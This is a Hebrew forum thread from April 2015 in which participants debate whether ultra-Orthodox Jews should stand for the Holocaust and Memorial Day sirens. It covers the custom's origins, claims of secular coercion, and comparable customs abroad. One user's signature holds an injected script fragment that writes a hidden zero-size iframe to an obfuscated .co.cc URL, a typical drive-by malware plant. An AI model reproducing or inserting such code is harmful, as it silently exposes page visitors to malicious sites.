| נשלח ב-15/4/2015 21:00 |
 |
| |
עמידה בצפירה ביום השואה וביום הזיכרון
כל שנה מחדש התקשורת החילונית צדה אחרי חרדים שהולכים בצפירה ביום השואה וביום הזיכרון
והשאלה היא האם עלינו לכבד ולעמוד את טקס העמידה בצפירה לזכר הנופלים גם אם אנו לא מאמינים שזה מועיל ?
או שבכך אנו נותנים גושפנקא לטקסים חילוניים עריריים ?
ומה המקור לעמידה לזכר נופלים ? מנהג ? תקנה ? או שמא משהו עתיק ?
כמו כן האם אין בידינו לטעון שמכיון שהם לא מכבדים את הטקסים וההלכות הדתיים כמו סגירת חנויות בשבת וכדומה אין בכוחם לדרוש מאיתנו לכבד את טקסיהם ?
והאם אין בזה כפיה חילונית שמחייבת סגירת חנויות ועמידה בצפירה ?
|
|
|
|
| נשלח ב-15/4/2015 21:50 |
|
| |
ביהדות ישנם טקסים שאנו עושים כדי לציין מאורעות מסויימים - בעיקר טקסים שבאים להזכיר את יציאת מצרים. הדבר נועד כדי ליצור זיכרון קולקטיבי בעם אודות יציאת מצרים יחד עם כל ההשלכות לכך.
עצם הרעיון של קביעת טקס, מעשה וכדו' כדי לציין ולהזכיר דבר מה - יש בו הגיון ברור ופשוט. הציבור החילוני בחר ע"י צפירה לציין את יום הזיכרון לשואה ולגבורה. כך שהדבר הוא מובן והגיוני בהחלט. מדוע דוקא צפירה?
בישראל הנהיגו את צפירת הזיכרון עפ"י ובהעתק למה שהיה נהוג בבריטניה באותה עת (לאחר מלחמת העולם הראשונה אבל נטשו מנהג זה מאוחר יותר) - צפירה בזמן קיום הלוויות חללי קרבות.
התקשורת החילונית מחפשת "אקשן"... תתרגל. אני לא יודע כיצד זה לא נמאס להם... אבל שיהיה.
אנו לא צריכים לכבד את טקס העמידה בצפירה כיוון שאין בו משמעות. ולכן אין כאן מה לכבד. מה שכן, ברגע שאנו נמצאים בקרב הציבור החילוני אז אנו נכבד ונעמוד בשעת הצפירה כדי לא לפגוע ברגשות הציבור ולא להמיט שנאה על הציבור החרדי שאליו אנו משתייכים, ובכך ליצור עוד ריחוק וחוצץ בין הציבורים.
להם לא אכפת - לנו כן.
אכן, הם לא מכבדים את טקסנו ואין להם לבוא בטענה כלפינו. הדבר ברור ומובן מאליו. כשם שהם לא צמים בתשעה באב ולא מכבדים את ימי העומר וכדו' ופוגעים ברגשותנו ולא מכבדים את חללי עמנו, אין סיבה שאנו לא ננהג כך כלפיהם כיוון שהמכנה הוא משותף - חוסר כבוד לטקסי השני.
ודאי שיש כאן כפיה חילונית - אני לא מעוניין שיסגרו החנויות בזמן הצפירה וימי הזיכרון למיניהם אני מעוניין לקנות. בגלל שחלק מהציבור החליט אז כל הציבור צריך לסבול? ודאי שלא. כשם שהם טוענים שבשבת החנויות צריכות להיות פתוחות כיוון שהם רוצים להנות ולא "כפת" להם מהדתיים... חוצפה לבוא בטענה כלפינו לאחר מכן.... פשוט בושה וכלימה.
דבריך נכונים בכל מקרה בחלקם.
 |
|
|
|
|
| נשלח ב-16/4/2015 00:11 |
|
| |
הרב פינקוס היה נוהג שלא לעמוד בצפירה
וכאשר נשאל על ידי עובר אורח למה הוא לא עומד ?
השיב הרב פינקוס בשאלה - האם לעמוד בצפירה זו מצוה ?
כן ענה לו האיש .
אם כך - אני חילוני הפטיר הרב פינקוס ואיני מקיים מצוות כעין אלו .
|
|
|
|
| נשלח ב-16/4/2015 07:34 |
|
| |
אייזין
העלית שאלות חשובות ויפות וכדאי היה לעיין בהן, לא רק מבחינה תיאורטית, אלא כיצד ראוי לנהוג לחרדי שאינו מזדהה עם יום השואה. לנהוג - וגם לחשוב. דברי כאן הם בחינת הזמנה למחשבה נוספת בחינת "עצור כאן חושבים"
2. והשאלה היא האם עלינו לכבד ולעמוד את טקס העמידה בצפירה לזכר הנופלים גם אם אנו לא מאמינים שזה מועיל ?
ת. האם עלינו לכבד? בהחלט. האם זה לא מועיל? - מועיל למה? לנשמות הנפטרים? האם יש משהו שכן מועיל לנפטרים? לפי איזו שיטה וכיצד יודעים זאת? (הקדיש של היתום במובן של העלאת נשמה, כפי שתוכל לקרוא באשכול על זה, הוא המצאה מאוחרת מלפני 800 שנה בערך). מועיל לנו? בהחלט. גם בנוגע לשואה, שהיא קרובה יותר ואיומה יותר מאשר הפוגרומים המונצחים בפיוטים ובמנהגים שונים מימי הבינים. גם בנוגע ליום הזכרון, שבו אנו מכבדים את אלו שנהרגו כדי לשמור על חיינו. תועלת פסיכולוגית וחינוכית היא דבר חשוב, והיא הדבר העיקרי שהתורה כולה תורמת לו.
הווה אומר: עמידה חשובה לא רק ברחוב כאשר יש מי שיראה אותך עומד אלא אולי גם בבית. אציין עם זאת שבצפירה של יום הזכרון אני מקפיד ואף מלמד את ילדי להתפלל על המתים, לומר מזמור תהלים קצר או ללמוד משנה. איני יודע אם זה מועיל במשהו (יתכן שאם זו מצוה שאחרת לא הייתי עושה, אז כן, זו זכות) אבל זה ודאי מועיל כדי לכבד ולהכיר תודה.
3. או שבכך אנו נותנים גושפנקא לטקסים חילוניים עריריים ?
אולי מן הראוי להכניס טכס חילוני ולקדשו על ידי מתן משמעות דתית?
4. ומה המקור לעמידה לזכר נופלים ? מנהג ? תקנה ? או שמא משהו עתיק ?
היו על זה אשכולות, גם כאן וגם בבחח, וכן על הצפירה. איני זוכר מה התברר בהם, אבל גם אם נניח שזו המצאה ישראלית, מה רע בה, אם היא תורמת לנו לחינוכנו לכבד מה שאחרים סבלו בשל היותם בני עמנו, או בגלל שהם לחמו עבורנו?
בניגוד להרבה חומרות שהתקבלו אצלנו (לדעתי למרבה הצער), זו חומרה קצרה מאד בזמן. שתי דקות?
5. כמו כן האם אין בידינו לטעון שמכיון שהם לא מכבדים את הטקסים וההלכות הדתיים כמו סגירת חנויות בשבת וכדומה אין בכוחם לדרוש מאיתנו לכבד את טקסיהם ?
בוודאי שאין כאן יומרה לחיוב דתי. אבל מה שמפריע לי הוא לשון "טקסיהם". זה לא שלהם. זה שלנו. כולנו. כפי שהגר אומר "אלוקי אבותינו" למרות שמבחינת הייחוס הביולוגי הוא לא נולד בעם ישראל, אבל הוא שייך אליו, כך לכולנו אבות בשואה, גם אם אתה גר (סליחה אם חשפתי זאת) או אם הוריך והורי הוריך והוריהם חיו בארץ ישראל מזה עשרה דורות ולא היו באיום ולא נפגעו. זה זכר לאירוע טראומטי שיש לו השלכות עד היום. יתכן שבעוד כמה דורות אפשר יהיה לוותר עליו. איני יודע.
ואם ארשה לעצמי להיות קנטרן, מה יותר משמעותי: הריגת ששה מיליון מבני עמנו לפני דורותיים או מות תלמידי רבי עקיבא לפני מאה דורות, שאותה אתה כמדומה מציין במשך עשרות ימים בחומרות מתווספות זו על זו?
אני יודע שאני מתחבר, אישית, פסיכולוגית וחינוכית, ופילוסופית, יותר ליום השואה מאשר למנהגי הספירה.
אז הנקודה היא האם אלו "טכסיהם" או "טכסינו" גם כן.
1. והאם אין בזה כפיה חילונית שמחייבת סגירת חנויות ועמידה בצפירה ?
כן ולא. זו כפיה, אבל לאו דווקא חילונית אלא מדינית בהיותנו תושבי מדינה זו וזו כפיה חברתית כי אין לה סנקציות בחוק (עד כמה שידוע לי, ואולי הבג"ץ יחגוג וישנה... כפי שמחמירים בפועל בפגיעה בחתולים יותר מאשר בחיי אדם... אבל זה נושא אחר).
בוודאי שאסור במובן של מזיק וטעות להתעמת עם החילוני על עמידה ואי עמידה ברחוב. דברי הרב פינקוס הם לעג וזלזול במה שיקר לחילוני. הגע בעצמך, האם מי שהיה שותף לשיחה כזו מעריך יותר או פחות את הדת היהודית ואת שומרי המצוות, ואת הרבנים?
לשמחתי, אני מפקפק מאד שהסיפור הזה אמתי...
____מי שלא קורא את דבריו לפני ששלח אותם בלחיצה על "שלח" יצטרך לחזור ולתקן טעויות הקלדה או להוסיף רעיון שנשכח_____________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 16/04/2015 07:38:10
|
|
|
|
|
| נשלח ב-16/4/2015 07:39 |
|
| |
קיימת נטיה חרדית לפתור שאלות טובות בווארטים.
|
|
|
|
| נשלח ב-16/4/2015 09:29 |
|
| |
בעל בעמיו
האם אתה מתכון למה שאני כתבתי או לסיפורו של אייזין על הרב שענה בהברקה מכעיסה ומקנטרת?
כדאי להאריך במקום שאמרו להאריך ולא לסמוך על המעיין.
אם כוונתך לחלוק על המסר מן הסיפור, אני מצטרף, אך יש כאן יותר מאשר התחמקות. יש כאן הקנטה בנושא רגיש וחשוב.
(אני שואל את עצמי מדוע איני מבקר את עצמי על כך שאני מבקר בעצמי את הקבלה ואת המנהגים ואת החומרות, והרי גם הם נושא רגיש וחשוב למי שמאמין בזה. ההבדל, סבורני, הוא בכך שאני משתדל להסביר את המעלות שיש, אם יש, בחומרה ובמנהג, או בדבקות במסורת גם כשהיא מוקשית, ואז אני מוסיף ומסביר יותר את הטעות).
איך ניתן היה לענות במקום מה שענה?
צריך לזכור גם שהתשובה צריכה להיות:
קצרה כדי שהשני יקשיב.
מובנת כדי שהוא יבין ולא יפרש אותה לא נכון.
אולי משהו כזה?
אתה צודק. היה עלי לעמוד. תודה שהערת לי. הרשה לי להוסיף שאם רוצים לכבד את הנפטרים, האם לא היה עדיף לעשות זאת בהתאם למסורת היהודית, שממליצה על תפילה קצרה או על לימוד קצר כמו משנה. מה דעתך שנלמד ביחד? הנה... וכאן יש מקום להציג לימוד קצר ועניני. ואולי כדאי לכל אחד מאיתנו להכין לימוד כזה עבור מפגש עם חילוני בנסיבות כאלו שתמיד מזדמנות?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
| נשלח ב-16/4/2015 11:12 |
|
| |
הסיבה שהחרדים לא עומדים היא כמובן כי הם לא חשים שהחלטות המדינה מחייבות אותם. ובעומק הן הן דברי הרב פינקוס.
האם אין לזכור את השואה? בהחלט ראוי לזכור, ולו הייתי יכול הייתי קובע צום, לא היום שהוא יום שנבחר בגלל מרד גטו ורשה, הפתטי וחסר התועלת, (לא שאני שופט אותם, אבל בבחירת היום הזה יש משום שפיטה נוראה כלפי יתר הקרבנות) אלא ביום קשור יותר. כיון שאין דבר כזה, יתכן ששיטת מיימוני (תהלים) נכונה.
יום השואה החרדי כיום הוא תשעה באב.
|
|
|
|
| נשלח ב-16/4/2015 11:58 |
|
| |
מיימוני
על הרב.
בתור רמב"מיסט אתה יודע שאין בכלל מושג של אזכרה למתים, אין יום שנה ואין כלום אחרי יב חודש, אז מאי נפק"מ איך מציינים, הרי לשיטתו אין בכלל אזכרה יהודית.
|
|
|
|
| נשלח ב-16/4/2015 12:05 |
|
| |
| אריאל73 כתב: |  | | הסיבה שהחרדים לא עומדים היא כמובן כי הם לא חשים שהחלטות המדינה מחייבות אותם. |
|
הרבה אנשים לא ממש מרגישים שהחלטות המדינה מחייבות אותם (הם נוסעים מעל למהירות המותרת למשל). אני די בטוח שהרבה אנשים לא עומדים בצפירה אם הם לבד.
דומני שהנקודה היא שהחרדים חשים שהחלטות המדינה לא מחייבות אותם (והתזוזה של ה'לא' משנה), ומעבר לזה, הם גם רוצים להראות את זה לכולם. בדיוק כמו ילד קטן או מתבגר שמראה להוריו או למוריו שאינו מקשיב להם.
|
|
|
|
| נשלח ב-16/4/2015 12:05 |
|
| |
נדמה לי כי אין כאן כל אזכרה למתים, את זאת עושים המשפחות ביחידות.
המדינה ואזרחיה מציינת את החללים, שליש מהעם הוכחד,מעולם לא הוכחדו מהעם שליש מבניה, נוצר חלל גדול, ואת זאת אנו כואבים,
חוקת הגויים לעמוד בצפירה? אולי אחד מהחרדים המתחכמים יכול להגיד איפה הגויים נוהגים כך. באיזו מדינה עומד כל העם ברחובות דום בצפירה? אשמח ללמוד.
|
|
|
|
| נשלח ב-16/4/2015 12:47 |
|
| |
אני חי בתוך החברה החרדית, מה שאני רואה הוא שזה פשוט לא מעניין אנשים, כך גם יום העצמאות. מחוץ כמובן לאי אלו קנאים שמוצאים את הימים הללו כהזדמנות לחוש את קנאותם.
|
|
|
|
| נשלח ב-16/4/2015 12:52 |
|
| |
צפירות זיכרון בישראל נשמעו לראשונה בנובמבר 1949 בזמן קיומן של הלוויות חללי קרבות ביוזמתן של מספר מועצות מקומיות בישראל, על פי הדוגמה שהייתה נהוגה בבריטניה באותה העת...אף כי ציון דקת דומייה הוא נוהג מקובל בעולם, בפרט בארצות המערב, הנוהג ללוות את דקת הדומייה בצפירה נעשה נדיר בשנים האחרונות. בארצות בעלות מסורת נוצרית יש נטייה להחליף את צפירת הזיכרון בצלצול פעמוני הכנסיות, שהוא נוהג נוצרי ותיק לציון אירוע בעל אופי ציבורי, בפרט אבֶל ציבורי. ביפן נהוג להכות מכות קצובות בגונג בעת דקת דומייה, בהתאם למסורת המקומית.
חבר העמים הבריטי
במדינות חבר העמים הבריטי, וכן בארצות הברית ובצרפת, נהוג יום זיכרון ב-11 בנובמבר לזכר חללי מלחמת העולם הראשונה, מלחמת העולם השנייה ומלחמות אחרות. יום זה נהוג מאז ה-11 בנובמבר 1919, ומלכתחילה הונהג לזכר קורבנות מלחמת העולם הראשונה. ביום זה נהוגה דקת דומייה או שתי דקות דומייה ב-11 לפני הצהריים, שהיא השעה שבה נכנסה הפסקת האש לתוקפה עם תום מלחמת העולם הראשונה (לפי שעון בריטניה). בעבר צוינה דקת הדומייה בצפירה, אולם כיום נמשך נוהג זה במלטה בלבד. לא בכל המדינות האלה מצוין ה-11 בנובמבר כיום זיכרון רשמי - מדינות אחדות מעדיפות לרכז את טקסי הזיכרון הרשמיים בימים אחרים. לפיכך, דקות הדומייה מורגשות בעיקר בכנסיות, שבהן הטקס משתלב בטקסי התפילה היומיים, או בבנייני משרדים, שבהם מתבקשים העובדים והלקוחות להפסיק את עבודתם למשך דקה או שתי דקות.
הולנד
בהולנד נהוג יום זיכרון ב-4 במאי, יום השנה לפלישת גרמניה להולנד ב-1940, ויום חג לאומי ב-5 במאי, יום השחרור מהכיבוש הגרמני ב-1945. בשעה שמונה בערב ה-4 במאי נהוגות שתי דקות דומייה רצופות. בעבר היו מלווים זאת בצפירה, אולם כיום מסתפקים בצלצול פעמוני הכנסיות ברחבי הולנד. בנוסף מקובל לצלצל בפעמוני הכנסיות בשעת חצות שבין ה-4 ל-5 במאי כדי לציין את המעבר מיום האבל ליום החג.
ורשה
החל משנת 2003, מצוין בוורשה מדי שנה יום זיכרון ב־1 באוגוסט, לזכר מרד ורשה, שבו מושמעת ברחבי העיר צפירת דומייה בשעה 17:00.(ויקיפדיה)
|
|
|
|
|
| נשלח ב-16/4/2015 13:13 |
|
| |
אריאל תודה על המידע, בהלכה חוקת הגויים פרושה חוקה לע"ז, שו"ת רבי אברהם בן הרמב"ם סימן סב תדע שר' עקיבה לא היה משנה מטבע הברכה במנהגו כשהיה מתפלל לעצמו, ואם יטעון טוען שיש בזה איסור מפני שהגוים מתפללין כך או הצדוקים השיב לו כך הנוצרים מתפללין נוכח ירושלם ולא מפני זה יאסר עלינו להתפלל נוכח ירושלם +עי' מש"כ רבי' בס' אלכפאיה ע"ד חוקת הגוים ומנהגי הנוצרים בתפלה -
|
|
|
|
| נשלח ב-16/4/2015 13:45 |
|
| |
תמהני האם כל מה שגויי הארצות עושים הופך מיד לחוקת הגויים?!
הם גם נוסעים ברכבת טסים במטוסים וסעודים במסעדות
ולכל אלו שיום השואה גורם להם להרגיש רע יש לי הצעה ממש עכשיו החלה מכירת כרטיסים למסע על המאדים קנו כרטיס שם אין יום שואה ועוד מרעין בישין של הציונות ר"ל ותנו לי דור שני לניצולי שואה שמכל משפחת הורי הענפה נותרו רק הם אודים מוצלים מאש להתכנס ליגוני בשקט
|
|
|
|
| נשלח ב-16/4/2015 14:36 |
|
| |
והנה דווקא תמונה שרצה ברשתות של עמידה בצפירה של יהודי עם טלית
|
|
|
|
| נשלח ב-16/4/2015 15:01 |
|
| |
לפי לבישת הטלית הוא לא מאנ"ש
|
|
|
|
|
